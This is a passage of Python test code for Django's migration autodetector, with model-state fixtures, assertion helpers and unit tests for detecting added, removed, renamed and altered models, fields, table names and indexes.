    attribution = ModelState("otherapp", "Attribution", [
        ("id", models.AutoField(primary_key=True)),
        ("author", models.ForeignKey("testapp.Author", models.CASCADE)),
        ("book", models.ForeignKey("otherapp.Book", models.CASCADE)),
    ])
    edition = ModelState("thirdapp", "Edition", [
        ("id", models.AutoField(primary_key=True)),
        ("book", models.ForeignKey("otherapp.Book", models.CASCADE)),
    ])
    custom_user = ModelState("thirdapp", "CustomUser", [
        ("id", models.AutoField(primary_key=True)),
        ("username", models.CharField(max_length=255)),
    ], bases=(AbstractBaseUser, ))
    custom_user_no_inherit = ModelState("thirdapp", "CustomUser", [
        ("id", models.AutoField(primary_key=True)),
        ("username", models.CharField(max_length=255)),
    ])
    aardvark = ModelState("thirdapp", "Aardvark", [("id", models.AutoField(primary_key=True))])
    aardvark_testapp = ModelState("testapp", "Aardvark", [("id", models.AutoField(primary_key=True))])
    aardvark_based_on_author = ModelState("testapp", "Aardvark", [], bases=("testapp.Author", ))
    aardvark_pk_fk_author = ModelState("testapp", "Aardvark", [
        ("id", models.OneToOneField("testapp.Author", models.CASCADE, primary_key=True)),
    ])
    knight = ModelState("eggs", "Knight", [("id", models.AutoField(primary_key=True))])
    rabbit = ModelState("eggs", "Rabbit", [
        ("id", models.AutoField(primary_key=True)),
        ("knight", models.ForeignKey("eggs.Knight", models.CASCADE)),
        ("parent", models.ForeignKey("eggs.Rabbit", models.CASCADE)),
    ], {
        "unique_together": {("parent", "knight")},
        "indexes": [models.Index(fields=["parent", "knight"], name='rabbit_circular_fk_index')],
    })

    def repr_changes(self, changes, include_dependencies=False):
        output = ""
        for app_label, migrations in sorted(changes.items()):
            output += "  %s:\n" % app_label
            for migration in migrations:
                output += "    %s\n" % migration.name
                for operation in migration.operations:
                    output += "      %s\n" % operation
                if include_dependencies:
                    output += "      Dependencies:\n"
                    if migration.dependencies:
                        for dep in migration.dependencies:
                            output += "        %s\n" % (dep,)
                    else:
                        output += "        None\n"
        return output

    def assertNumberMigrations(self, changes, app_label, number):
        if len(changes.get(app_label, [])) != number:
            self.fail("Incorrect number of migrations (%s) for %s (expected %s)\n%s" % (
                len(changes.get(app_label, [])),
                app_label,
                number,
                self.repr_changes(changes),
            ))

    def assertMigrationDependencies(self, changes, app_label, position, dependencies):
        if not changes.get(app_label):
            self.fail("No migrations found for %s\n%s" % (app_label, self.repr_changes(changes)))
        if len(changes[app_label]) < position + 1:
            self.fail("No migration at index %s for %s\n%s" % (position, app_label, self.repr_changes(changes)))
        migration = changes[app_label][position]
        if set(migration.dependencies) != set(dependencies):
            self.fail("Migration dependencies mismatch for %s.%s (expected %s):\n%s" % (
                app_label,
                migration.name,
                dependencies,
                self.repr_changes(changes, include_dependencies=True),
            ))

    def assertOperationTypes(self, changes, app_label, position, types):
        if not changes.get(app_label):
            self.fail("No migrations found for %s\n%s" % (app_label, self.repr_changes(changes)))
        if len(changes[app_label]) < position + 1:
            self.fail("No migration at index %s for %s\n%s" % (position, app_label, self.repr_changes(changes)))
        migration = changes[app_label][position]
        real_types = [operation.__class__.__name__ for operation in migration.operations]
        if types != real_types:
            self.fail("Operation type mismatch for %s.%s (expected %s):\n%s" % (
                app_label,
                migration.name,
                types,
                self.repr_changes(changes),
            ))

    def assertOperationAttributes(self, changes, app_label, position, operation_position, **attrs):
        if not changes.get(app_label):
            self.fail("No migrations found for %s\n%s" % (app_label, self.repr_changes(changes)))
        if len(changes[app_label]) < position + 1:
            self.fail("No migration at index %s for %s\n%s" % (position, app_label, self.repr_changes(changes)))
        migration = changes[app_label][position]
        if len(changes[app_label]) < position + 1:
            self.fail("No operation at index %s for %s.%s\n%s" % (
                operation_position,
                app_label,
                migration.name,
                self.repr_changes(changes),
            ))
        operation = migration.operations[operation_position]
        for attr, value in attrs.items():
            if getattr(operation, attr, None) != value:
                self.fail("Attribute mismatch for %s.%s op #%s, %s (expected %r, got %r):\n%s" % (
                    app_label,
                    migration.name,
                    operation_position,
                    attr,
                    value,
                    getattr(operation, attr, None),
                    self.repr_changes(changes),
                ))

    def assertOperationFieldAttributes(self, changes, app_label, position, operation_position, **attrs):
        if not changes.get(app_label):
            self.fail("No migrations found for %s\n%s" % (app_label, self.repr_changes(changes)))
        if len(changes[app_label]) < position + 1:
            self.fail("No migration at index %s for %s\n%s" % (position, app_label, self.repr_changes(changes)))
        migration = changes[app_label][position]
        if len(changes[app_label]) < position + 1:
            self.fail("No operation at index %s for %s.%s\n%s" % (
                operation_position,
                app_label,
                migration.name,
                self.repr_changes(changes),
            ))
        operation = migration.operations[operation_position]
        if not hasattr(operation, 'field'):
            self.fail("No field attribute for %s.%s op #%s." % (
                app_label,
                migration.name,
                operation_position,
            ))
        field = operation.field
        for attr, value in attrs.items():
            if getattr(field, attr, None) != value:
                self.fail("Field attribute mismatch for %s.%s op #%s, field.%s (expected %r, got %r):\n%s" % (
                    app_label,
                    migration.name,
                    operation_position,
                    attr,
                    value,
                    getattr(field, attr, None),
                    self.repr_changes(changes),
                ))

    def make_project_state(self, model_states):
        "Shortcut to make ProjectStates from lists of predefined models"
        project_state = ProjectState()
        for model_state in model_states:
            project_state.add_model(model_state.clone())
        return project_state

    def get_changes(self, before_states, after_states, questioner=None):
        return MigrationAutodetector(
            self.make_project_state(before_states),
            self.make_project_state(after_states),
            questioner,
        )._detect_changes()

    def test_arrange_for_graph(self):
        """Tests auto-naming of migrations for graph matching."""
        # Make a fake graph
        graph = MigrationGraph()
        graph.add_node(("testapp", "0001_initial"), None)
        graph.add_node(("testapp", "0002_foobar"), None)
        graph.add_node(("otherapp", "0001_initial"), None)
        graph.add_dependency("testapp.0002_foobar", ("testapp", "0002_foobar"), ("testapp", "0001_initial"))
        graph.add_dependency("testapp.0002_foobar", ("testapp", "0002_foobar"), ("otherapp", "0001_initial"))
        # Use project state to make a new migration change set
        before = self.make_project_state([])
        after = self.make_project_state([self.author_empty, self.other_pony, self.other_stable])
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes()
        # Run through arrange_for_graph
        changes = autodetector.arrange_for_graph(changes, graph)
        # Make sure there's a new name, deps match, etc.
        self.assertEqual(changes["testapp"][0].name, "0003_author")
        self.assertEqual(changes["testapp"][0].dependencies, [("testapp", "0002_foobar")])
        self.assertEqual(changes["otherapp"][0].name, "0002_pony_stable")
        self.assertEqual(changes["otherapp"][0].dependencies, [("otherapp", "0001_initial")])

    def test_trim_apps(self):
        """
        Tests that trim does not remove dependencies but does remove unwanted
        apps.
        """
        # Use project state to make a new migration change set
        before = self.make_project_state([])
        after = self.make_project_state([self.author_empty, self.other_pony, self.other_stable, self.third_thing])
        autodetector = MigrationAutodetector(before, after, MigrationQuestioner({"ask_initial": True}))
        changes = autodetector._detect_changes()
        # Run through arrange_for_graph
        graph = MigrationGraph()
        changes = autodetector.arrange_for_graph(changes, graph)
        changes["testapp"][0].dependencies.append(("otherapp", "0001_initial"))
        changes = autodetector._trim_to_apps(changes, {"testapp"})
        # Make sure there's the right set of migrations
        self.assertEqual(changes["testapp"][0].name, "0001_initial")
        self.assertEqual(changes["otherapp"][0].name, "0001_initial")
        self.assertNotIn("thirdapp", changes)

    def test_custom_migration_name(self):
        """Tests custom naming of migrations for graph matching."""
        # Make a fake graph
        graph = MigrationGraph()
        graph.add_node(("testapp", "0001_initial"), None)
        graph.add_node(("testapp", "0002_foobar"), None)
        graph.add_node(("otherapp", "0001_initial"), None)
        graph.add_dependency("testapp.0002_foobar", ("testapp", "0002_foobar"), ("testapp", "0001_initial"))

        # Use project state to make a new migration change set
        before = self.make_project_state([])
        after = self.make_project_state([self.author_empty, self.other_pony, self.other_stable])
        autodetector = MigrationAutodetector(before, after)
        changes = autodetector._detect_changes()

        # Run through arrange_for_graph
        migration_name = 'custom_name'
        changes = autodetector.arrange_for_graph(changes, graph, migration_name)

        # Make sure there's a new name, deps match, etc.
        self.assertEqual(changes["testapp"][0].name, "0003_%s" % migration_name)
        self.assertEqual(changes["testapp"][0].dependencies, [("testapp", "0002_foobar")])
        self.assertEqual(changes["otherapp"][0].name, "0002_%s" % migration_name)
        self.assertEqual(changes["otherapp"][0].dependencies, [("otherapp", "0001_initial")])

    def test_new_model(self):
        """Tests autodetection of new models."""
        changes = self.get_changes([], [self.other_pony_food])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, "otherapp", 0, 0, name="Pony")
        self.assertEqual([name for name, mgr in changes['otherapp'][0].operations[0].managers],
                         ['food_qs', 'food_mgr', 'food_mgr_kwargs'])

    def test_old_model(self):
        """Tests deletion of old models."""
        changes = self.get_changes([self.author_empty], [])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["DeleteModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="Author")

    def test_add_field(self):
        """Tests autodetection of new fields."""
        changes = self.get_changes([self.author_empty], [self.author_name])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name")

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_addition',
                side_effect=AssertionError("Should not have prompted for not null addition"))
    def test_add_date_fields_with_auto_now_not_asking_for_default(self, mocked_ask_method):
        changes = self.get_changes([self.author_empty], [self.author_dates_of_birth_auto_now])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AddField", "AddField"])
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, auto_now=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 1, auto_now=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 2, auto_now=True)

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_addition',
                side_effect=AssertionError("Should not have prompted for not null addition"))
    def test_add_date_fields_with_auto_now_add_not_asking_for_null_addition(self, mocked_ask_method):
        changes = self.get_changes([self.author_empty], [self.author_dates_of_birth_auto_now_add])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AddField", "AddField"])
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, auto_now_add=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 1, auto_now_add=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 2, auto_now_add=True)

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_auto_now_add_addition')
    def test_add_date_fields_with_auto_now_add_asking_for_default(self, mocked_ask_method):
        changes = self.get_changes([self.author_empty], [self.author_dates_of_birth_auto_now_add])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AddField", "AddField", "AddField"])
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, auto_now_add=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 1, auto_now_add=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 2, auto_now_add=True)
        self.assertEqual(mocked_ask_method.call_count, 3)

    def test_remove_field(self):
        """Tests autodetection of removed fields."""
        changes = self.get_changes([self.author_name], [self.author_empty])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RemoveField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name")

    def test_alter_field(self):
        """Tests autodetection of new fields."""
        changes = self.get_changes([self.author_name], [self.author_name_longer])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name", preserve_default=True)

    def test_supports_functools_partial(self):
        def _content_file_name(instance, filename, key, **kwargs):
            return '{}/{}'.format(instance, filename)

        def content_file_name(key, **kwargs):
            return functools.partial(_content_file_name, key, **kwargs)

        # An unchanged partial reference.
        before = [ModelState("testapp", "Author", [
            ("id", models.AutoField(primary_key=True)),
            ("file", models.FileField(max_length=200, upload_to=content_file_name('file'))),
        ])]
        after = [ModelState("testapp", "Author", [
            ("id", models.AutoField(primary_key=True)),
            ("file", models.FileField(max_length=200, upload_to=content_file_name('file'))),
        ])]
        changes = self.get_changes(before, after)
        self.assertNumberMigrations(changes, 'testapp', 0)

        # A changed partial reference.
        args_changed = [ModelState("testapp", "Author", [
            ("id", models.AutoField(primary_key=True)),
            ("file", models.FileField(max_length=200, upload_to=content_file_name('other-file'))),
        ])]
        changes = self.get_changes(before, args_changed)
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ['AlterField'])
        # Can't use assertOperationFieldAttributes because we need the
        # deconstructed version, i.e., the exploded func/args/keywords rather
        # than the partial: we don't care if it's not the same instance of the
        # partial, only if it's the same source function, args, and keywords.
        value = changes['testapp'][0].operations[0].field.upload_to
        self.assertEqual(
            (_content_file_name, ('other-file',), {}),
            (value.func, value.args, value.keywords)
        )

        kwargs_changed = [ModelState("testapp", "Author", [
            ("id", models.AutoField(primary_key=True)),
            ("file", models.FileField(max_length=200, upload_to=content_file_name('file', spam='eggs'))),
        ])]
        changes = self.get_changes(before, kwargs_changed)
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ['AlterField'])
        value = changes['testapp'][0].operations[0].field.upload_to
        self.assertEqual(
            (_content_file_name, ('file',), {'spam': 'eggs'}),
            (value.func, value.args, value.keywords)
        )

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_alteration',
                side_effect=AssertionError("Should not have prompted for not null addition"))
    def test_alter_field_to_not_null_with_default(self, mocked_ask_method):
        """
        #23609 - Tests autodetection of nullable to non-nullable alterations.
        """
        changes = self.get_changes([self.author_name_null], [self.author_name_default])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name", preserve_default=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, default='Ada Lovelace')

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_alteration',
                return_value=models.NOT_PROVIDED)
    def test_alter_field_to_not_null_without_default(self, mocked_ask_method):
        """
        #23609 - Tests autodetection of nullable to non-nullable alterations.
        """
        changes = self.get_changes([self.author_name_null], [self.author_name])
        self.assertEqual(mocked_ask_method.call_count, 1)
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name", preserve_default=True)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, default=models.NOT_PROVIDED)

    @mock.patch('django.db.migrations.questioner.MigrationQuestioner.ask_not_null_alteration',
                return_value='Some Name')
    def test_alter_field_to_not_null_oneoff_default(self, mocked_ask_method):
        """
        #23609 - Tests autodetection of nullable to non-nullable alterations.
        """
        changes = self.get_changes([self.author_name_null], [self.author_name])
        self.assertEqual(mocked_ask_method.call_count, 1)
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="name", preserve_default=False)
        self.assertOperationFieldAttributes(changes, "testapp", 0, 0, default="Some Name")

    def test_rename_field(self):
        """Tests autodetection of renamed fields."""
        changes = self.get_changes(
            [self.author_name], [self.author_name_renamed], MigrationQuestioner({"ask_rename": True})
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RenameField"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, old_name="name", new_name="names")

    def test_rename_model(self):
        """Tests autodetection of renamed models."""
        changes = self.get_changes(
            [self.author_with_book, self.book],
            [self.author_renamed_with_book, self.book_with_author_renamed],
            MigrationQuestioner({"ask_rename_model": True}),
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RenameModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, old_name="Author", new_name="Writer")
        # Now that RenameModel handles related fields too, there should be
        # no AlterField for the related field.
        self.assertNumberMigrations(changes, 'otherapp', 0)

    def test_rename_m2m_through_model(self):
        """
        Tests autodetection of renamed models that are used in M2M relations as
        through models.
        """
        changes = self.get_changes(
            [self.author_with_m2m_through, self.publisher, self.contract],
            [self.author_with_renamed_m2m_through, self.publisher, self.contract_renamed],
            MigrationQuestioner({'ask_rename_model': True})
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ['RenameModel'])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, old_name='Contract', new_name='Deal')

    def test_rename_model_with_renamed_rel_field(self):
        """
        Tests autodetection of renamed models while simultaneously renaming one
        of the fields that relate to the renamed model.
        """
        changes = self.get_changes(
            [self.author_with_book, self.book],
            [self.author_renamed_with_book, self.book_with_field_and_author_renamed],
            MigrationQuestioner({"ask_rename": True, "ask_rename_model": True}),
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RenameModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, old_name="Author", new_name="Writer")
        # Right number/type of migrations for related field rename?
        # Alter is already taken care of.
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["RenameField"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, old_name="author", new_name="writer")

    def test_rename_model_with_fks_in_different_position(self):
        """
        #24537 - Tests that the order of fields in a model does not influence
        the RenameModel detection.
        """
        before = [
            ModelState("testapp", "EntityA", [
                ("id", models.AutoField(primary_key=True)),
            ]),
            ModelState("testapp", "EntityB", [
                ("id", models.AutoField(primary_key=True)),
                ("some_label", models.CharField(max_length=255)),
                ("entity_a", models.ForeignKey("testapp.EntityA", models.CASCADE)),
            ]),
        ]
        after = [
            ModelState("testapp", "EntityA", [
                ("id", models.AutoField(primary_key=True)),
            ]),
            ModelState("testapp", "RenamedEntityB", [
                ("id", models.AutoField(primary_key=True)),
                ("entity_a", models.ForeignKey("testapp.EntityA", models.CASCADE)),
                ("some_label", models.CharField(max_length=255)),
            ]),
        ]
        changes = self.get_changes(before, after, MigrationQuestioner({"ask_rename_model": True}))
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["RenameModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, old_name="EntityB", new_name="RenamedEntityB")

    def test_fk_dependency(self):
        """Tests that having a ForeignKey automatically adds a dependency."""
        # Note that testapp (author) has no dependencies,
        # otherapp (book) depends on testapp (author),
        # thirdapp (edition) depends on otherapp (book)
        changes = self.get_changes([], [self.author_name, self.book, self.edition])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertMigrationDependencies(changes, 'testapp', 0, [])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="Book")
        self.assertMigrationDependencies(changes, 'otherapp', 0, [("testapp", "auto_1")])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'thirdapp', 1)
        self.assertOperationTypes(changes, 'thirdapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'thirdapp', 0, 0, name="Edition")
        self.assertMigrationDependencies(changes, 'thirdapp', 0, [("otherapp", "auto_1")])

    def test_proxy_fk_dependency(self):
        """Tests that FK dependencies still work on proxy models."""
        # Note that testapp (author) has no dependencies,
        # otherapp (book) depends on testapp (authorproxy)
        changes = self.get_changes([], [self.author_empty, self.author_proxy_third, self.book_proxy_fk])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'testapp', 0, 0, name="Author")
        self.assertMigrationDependencies(changes, 'testapp', 0, [])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 1)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'otherapp', 0, 0, name="Book")
        self.assertMigrationDependencies(changes, 'otherapp', 0, [("thirdapp", "auto_1")])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'thirdapp', 1)
        self.assertOperationTypes(changes, 'thirdapp', 0, ["CreateModel"])
        self.assertOperationAttributes(changes, 'thirdapp', 0, 0, name="AuthorProxy")
        self.assertMigrationDependencies(changes, 'thirdapp', 0, [("testapp", "auto_1")])

    def test_same_app_no_fk_dependency(self):
        """
        Tests that a migration with a FK between two models of the same app
        does not have a dependency to itself.
        """
        changes = self.get_changes([], [self.author_with_publisher, self.publisher])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel", "AddField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="Author")
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="Publisher")
        self.assertOperationAttributes(changes, "testapp", 0, 2, name="publisher")
        self.assertMigrationDependencies(changes, 'testapp', 0, [])

    def test_circular_fk_dependency(self):
        """
        Tests that having a circular ForeignKey dependency automatically
        resolves the situation into 2 migrations on one side and 1 on the other.
        """
        changes = self.get_changes([], [self.author_with_book, self.book, self.publisher_with_book])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="Author")
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="Publisher")
        self.assertMigrationDependencies(changes, 'testapp', 0, [("otherapp", "auto_1")])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'otherapp', 2)
        self.assertOperationTypes(changes, 'otherapp', 0, ["CreateModel"])
        self.assertOperationTypes(changes, 'otherapp', 1, ["AddField"])
        self.assertMigrationDependencies(changes, 'otherapp', 0, [])
        self.assertMigrationDependencies(changes, 'otherapp', 1, [("otherapp", "auto_1"), ("testapp", "auto_1")])
        # both split migrations should be `initial`
        self.assertTrue(changes['otherapp'][0].initial)
        self.assertTrue(changes['otherapp'][1].initial)

    def test_same_app_circular_fk_dependency(self):
        """
        Tests that a migration with a FK between two models of the same app does
        not have a dependency to itself.
        """
        changes = self.get_changes([], [self.author_with_publisher, self.publisher_with_author])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["CreateModel", "CreateModel", "AddField"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="Author")
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="Publisher")
        self.assertOperationAttributes(changes, "testapp", 0, 2, name="publisher")
        self.assertMigrationDependencies(changes, 'testapp', 0, [])

    def test_same_app_circular_fk_dependency_with_unique_together_and_indexes(self):
        """
        #22275 - Tests that a migration with circular FK dependency does not try
        to create unique together constraint and indexes before creating all
        required fields first.
        """
        changes = self.get_changes([], [self.knight, self.rabbit])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'eggs', 1)
        self.assertOperationTypes(
            changes, 'eggs', 0, ["CreateModel", "CreateModel", "AddIndex", "AlterUniqueTogether"]
        )
        self.assertNotIn("unique_together", changes['eggs'][0].operations[0].options)
        self.assertNotIn("unique_together", changes['eggs'][0].operations[1].options)
        self.assertMigrationDependencies(changes, 'eggs', 0, [])

    def test_alter_db_table_add(self):
        """Tests detection for adding db_table in model's options."""
        changes = self.get_changes([self.author_empty], [self.author_with_db_table_options])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterModelTable"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="author", table="author_one")

    def test_alter_db_table_change(self):
        """Tests detection for changing db_table in model's options'."""
        changes = self.get_changes([self.author_with_db_table_options], [self.author_with_new_db_table_options])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterModelTable"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="author", table="author_two")

    def test_alter_db_table_remove(self):
        """Tests detection for removing db_table in model's options."""
        changes = self.get_changes([self.author_with_db_table_options], [self.author_empty])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["AlterModelTable"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, name="author", table=None)

    def test_alter_db_table_no_changes(self):
        """
        Tests that alter_db_table doesn't generate a migration if no changes
        have been made.
        """
        changes = self.get_changes([self.author_with_db_table_options], [self.author_with_db_table_options])
        # Right number of migrations?
        self.assertEqual(len(changes), 0)

    def test_keep_db_table_with_model_change(self):
        """
        Tests when model changes but db_table stays as-is, autodetector must not
        create more than one operation.
        """
        changes = self.get_changes(
            [self.author_with_db_table_options],
            [self.author_renamed_with_db_table_options],
            MigrationQuestioner({"ask_rename_model": True}),
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RenameModel"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, old_name="Author", new_name="NewAuthor")

    def test_alter_db_table_with_model_change(self):
        """
        Tests when model and db_table changes, autodetector must create two
        operations.
        """
        changes = self.get_changes(
            [self.author_with_db_table_options],
            [self.author_renamed_with_new_db_table_options],
            MigrationQuestioner({"ask_rename_model": True}),
        )
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, 'testapp', 1)
        self.assertOperationTypes(changes, 'testapp', 0, ["RenameModel", "AlterModelTable"])
        self.assertOperationAttributes(changes, "testapp", 0, 0, old_name="Author", new_name="NewAuthor")
        self.assertOperationAttributes(changes, "testapp", 0, 1, name="newauthor", table="author_three")

    def test_identical_regex_doesnt_alter(self):
        from_state = ModelState(
            "testapp", "model", [("id", models.AutoField(primary_key=True, validators=[
                RegexValidator(
                    re.compile('^[-a-zA-Z0-9_]+\\Z'),
                    "Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.",
                    'invalid'
                )
            ]))]
        )
        to_state = ModelState(
            "testapp", "model", [("id", models.AutoField(primary_key=True, validators=[validate_slug]))]
        )
        changes = self.get_changes([from_state], [to_state])
        # Right number/type of migrations?
        self.assertNumberMigrations(changes, "testapp", 0)

    def test_different_regex_does_alter(self):
        from_state = ModelState(
            "testapp", "model", [("id", models.AutoField(primary_key=True, validators=[
                RegexValidator(
                    re.compile('^[a-z]+\\Z', 32),
                    "Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.",
                    'invalid'
                )
            ]))]
        )
        to_state = ModelState(
            "testapp", "model", [("id", models.AutoField(primary_key=True, validators=[validate_slug]))]
        )
        changes = self.get_changes([from_state], [to_state])
        self.assertNumberMigrations(changes, "testapp", 1)
        self.assertOperationTypes(changes, "testapp", 0, ["AlterField"])

    def test_empty_foo_together(self):
        """
        #23452 - Empty unique/index_together shouldn't generate a migration.
        """
        # Explicitly testing for not specified, since this is the case after
        # a CreateModel operation w/o any definition on the original model
        model_state_not_specified = ModelState("a", "model", [("id", models.AutoField(primary_key=True))])
        # Explicitly testing for None, since this was the issue in #23452 after
        # a AlterFooTogether operation with e.g. () as value
        model_state_none = ModelState("a", "model", [
            ("id", models.AutoField(primary_key=True))
        ], {
            "index_together": None,
            "unique_together": None,
        })
        # Explicitly testing for the empty set, since we now always have sets.
        # During removal (('col1', 'col2'),) --> () this becomes set([])
        model_state_empty = ModelState("a", "model", [
            ("id", models.AutoField(primary_key=True))
        ], {
            "index_together": set(),
            "unique_together": set(),
        })

        def test(from_state, to_state, msg):
            changes = self.get_changes([from_state], [to_state])
            if len(changes) > 0:
                ops = ', '.join(o.__class__.__name__ for o in changes['a'][0].operations)
                self.fail('Created operation(s) %s from %s' % (ops, msg))

        tests = (
            (model_state_not_specified, model_state_not_specified, '"not specified" to "not specified"'),
            (model_state_not_specified, model_state_none, '"not specified" to "None"'),
            (model_state_not_specified, model_state_empty, '"not specified" to "empty"'),
            (model_state_none, model_state_not_specified, '"None" to "not specified"'),
            (model_state_none, model_state_none, '"None" to "None"'),
            (model_state_none, model_state_empty, '"None" to "empty"'),
            (model_state_empty, model_state_not_specified, '"empty" to "not specified"'),
            (model_state_empty, model_state_none, '"empty" to "None"'),
            (model_state_empty, model_state_empty, '"empty" to "empty"'),
        )

        for t in tests:
            test(*t)

    def test_create_model_with_indexes(self):
        """Test creation of new model with indexes already defined."""
        author = ModelState('otherapp', 'Author', [
            ('id', models.AutoField(primary_key=True)),
            ('name', models.CharField(max_length=200)),
        ], {'indexes': [models.Index(fields=['name'], name='create_model_with_indexes_idx')]})
        changes = self.get_changes([], [author])
        added_index = models.Index(fields=['name'], name='create_model_with_indexes_idx')
        # Right number of migrations?
        self.assertEqual(len(changes['otherapp']), 1)
        # Right number of actions?
